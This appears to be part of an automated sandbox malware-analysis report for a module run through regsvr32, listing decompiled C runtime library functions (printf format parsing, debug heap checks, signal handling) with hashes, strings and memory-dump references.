Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: Bad memory block found at 0x%p.$Bad memory block found at 0x%p.Memory allocated at %hs(%d).$_CrtMemCheckpoint$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$state != NULL
API String ID: 2123368286-817335350
Opcode ID: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction ID: bdf1888ae082cb337f1151e8154f2efa45ef3de29dcf6e6b26155e3a2b634fb1
Opcode Fuzzy Hash: 3b86e21d312907f031a9c3af8c0eef3d8af61768b64ebe8bc9406c081913c3b7
Instruction Fuzzy Hash: 6461FB36A18B4586EB64CB19E89132E77A0F785794F714126EBCD83BB4CB3ED451CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CFF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 138
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D2CFF0(intOrPtr _a8) {
				intOrPtr _v24;
				long long _v48;
				long long _v64;
				intOrPtr _t21;

				_a8 = _t21;
				_v48 = 0;
				_v64 = 0;
				_v24 = _a8;
				_v24 = _v24 - 2;
				if (_v24 - 0x14 > 0) goto 0xf9d2d13e;
				goto __rax;
			}

0x7fef9d2cff0
0x7fef9d2cff8
0x7fef9d2d000
0x7fef9d2d010
0x7fef9d2d01b
0x7fef9d2d024
0x7fef9d2d048

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D2D1C9

Strings

raise, xrefs: 000007FEF9D2D1BB
("Invalid signal or error", 0), xrefs: 000007FEF9D2D165, 000007FEF9D2D1C2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c, xrefs: 000007FEF9D2D17A, 000007FEF9D2D1B4

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid signal or error", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\winsig.c$raise
API String ID: 2123368286-2245755083
Opcode ID: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction ID: 19b7c93d4736ed7bda32945b1fb5f0ab86c56f1dc684690d029957412a3b2f1f
Opcode Fuzzy Hash: 18adc300c2b93f7eab7b819d563e90f5c41814788a4c43fa347d2340d41b98cd
Instruction Fuzzy Hash: 8C71E83291C786CAE7A09F58E84476EB7E0F785754F214135E6CA47BA4CB3EE448CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25AD9 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D25B35

Strings

_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D25B3E
L7, xrefs: 000007FEF9D25C0F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25AF2, 000007FEF9D25B53, 000007FEF9D25BC9
_CrtCheckMemory(), xrefs: 000007FEF9D25ADD
LX, xrefs: 000007FEF9D25B5F
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25BB4

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$L7$LX
API String ID: 299318057-1988567080
Opcode ID: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction ID: 366f9875c4733d956d5456637ee1c03ed06e45eb4220731ed3e90847f50651e0
Opcode Fuzzy Hash: 449abee572b00c001843884aa05b8e5cdaea28f8affc6eceb55751fcc4bbfe52
Instruction Fuzzy Hash: FB314D36A1874A86EBE48B59E84172E67D1F785784F614036EACD83BB4DB3FD440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C7E9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_realloc_dbg.LIBCMTD ref: 000007FEF9D2C86D
_realloc_dbg.LIBCMTD ref: 000007FEF9D2C8B8
EncodePointer.KERNEL32 ref: 000007FEF9D2C8FF
EncodePointer.KERNEL32 ref: 000007FEF9D2C911
EncodePointer.KERNEL32 ref: 000007FEF9D2C932

Strings

}, xrefs: 000007FEF9D2C84E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c, xrefs: 000007FEF9D2C856, 000007FEF9D2C8A1

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer$_realloc_dbg
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\onexit.c$}
API String ID: 429494535-1858280179
Opcode ID: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction ID: 6b22acafcb165364cee05dc597c268ac6a46098997f00e2a063c2d8cfde95e66
Opcode Fuzzy Hash: 950a78d59f72efd3ce43bd8456283c625fce50364ef15d6a0f5e845d51c15c3f
Instruction Fuzzy Hash: D441B836619B8586DA90CB59F88432EB7E4F7C9794F201025EACE43B68DF7ED4958B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E16F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 259COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E1BC

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-734865713
Opcode ID: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction ID: ca3ec57313c22d844cddba0ccc7478434e3ff2f5ac626f229199dffed11d05c2
Opcode Fuzzy Hash: c2425827690f07a93f69eb38b450ff2678cd23c1eb01a19a01dfffa3a40938e6
Instruction Fuzzy Hash: 83D1CA72A0CAC686E7B18B55E8407AFB7E0F384355F600126E6DD87AA9DB7DE440CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DF8D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 218
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E000007FE7FEF9D3DF8D(signed short _a1208, signed int _a1412) {

				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
7, xrefs: 000007FEF9D3DFAD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: ("Incorrect format specifier", 0)$7$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 0-1585035072
Opcode ID: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction ID: 7092a431cc2f14586a5b6039053772aca43f1c1a92c9fb0ada713ca2b75f96be
Opcode Fuzzy Hash: 0bf90205098d20be4f4e59ab582b3189e67a2fe65aecfe549d1a450604364a50
Instruction Fuzzy Hash: 93B10D7260CAC286E7B1DB55E8417AFB7E0F784356F104026EAC987AA9DB7DE444CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38350 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38420
_invalid_parameter.LIBCMTD ref: 000007FEF9D384CA

Strings

(format != NULL), xrefs: 000007FEF9D383BC, 000007FEF9D38419
_vswprintf_helper, xrefs: 000007FEF9D38412, 000007FEF9D384BC
(count == 0) || (string != NULL), xrefs: 000007FEF9D38466, 000007FEF9D384C3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c, xrefs: 000007FEF9D383D1, 000007FEF9D3840B, 000007FEF9D3847B, 000007FEF9D384B5

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$(format != NULL)$_vswprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vswprint.c
API String ID: 2123368286-1876092940
Opcode ID: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction ID: 5b23c079d1b4d794af0cdd69ad2b30100ea5e3abf5a9ef6833dde17c78c07454
Opcode Fuzzy Hash: 9846629aa5f9262a1bee0fdfcec26bb25970a0f61289143976d8b215326cf8ff
Instruction Fuzzy Hash: 40911E32618B85CAE7A48B15E84476E77E0F384795F208525E6DE87BB4DB3ED444CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BE32 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3BE32(signed int _a80, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096) {

				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

w, xrefs: 000007FEF9D3BE63
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-3826063230
Opcode ID: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction ID: d6c85ddd6a9fac6d59453cfc6279b165f514207326055716b4e5bf0dd1bf0ecb
Opcode Fuzzy Hash: 6f4341bf75342723462239bb8ed84b432b5f9ccd09e3c394fa39f7378907594f
Instruction Fuzzy Hash: 0A916F72A0D6C68AE3F08B54E88477EB7E4E385342F601026D7CD87AA9CB7ED5418F11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DDE0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E000007FE7FEF9D3DDE0(signed int _a80, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544) {

				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
w, xrefs: 000007FEF9D3DE11
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c$w
API String ID: 530996419-4206863317
Opcode ID: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction ID: 52af39986bd237b596cdecada1f5af7c0900048515ebe490badd59f4da94dd67
Opcode Fuzzy Hash: ea911f3e0001a33c00663cb6cc71ee2ff701874ce847a4c399e41a1539880d37
Instruction Fuzzy Hash: 35910A62A0C6C18AE7F08B55E88077EB3E1F385756F600026E6CD87AA4DB7ED855DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCFA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D3BCFA(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t171;
				char* _t191;
				char* _t192;

				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t191 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t191);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t171 + _t191 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t192 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t192);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t171 + _t192 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
0, xrefs: 000007FEF9D3BD31
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

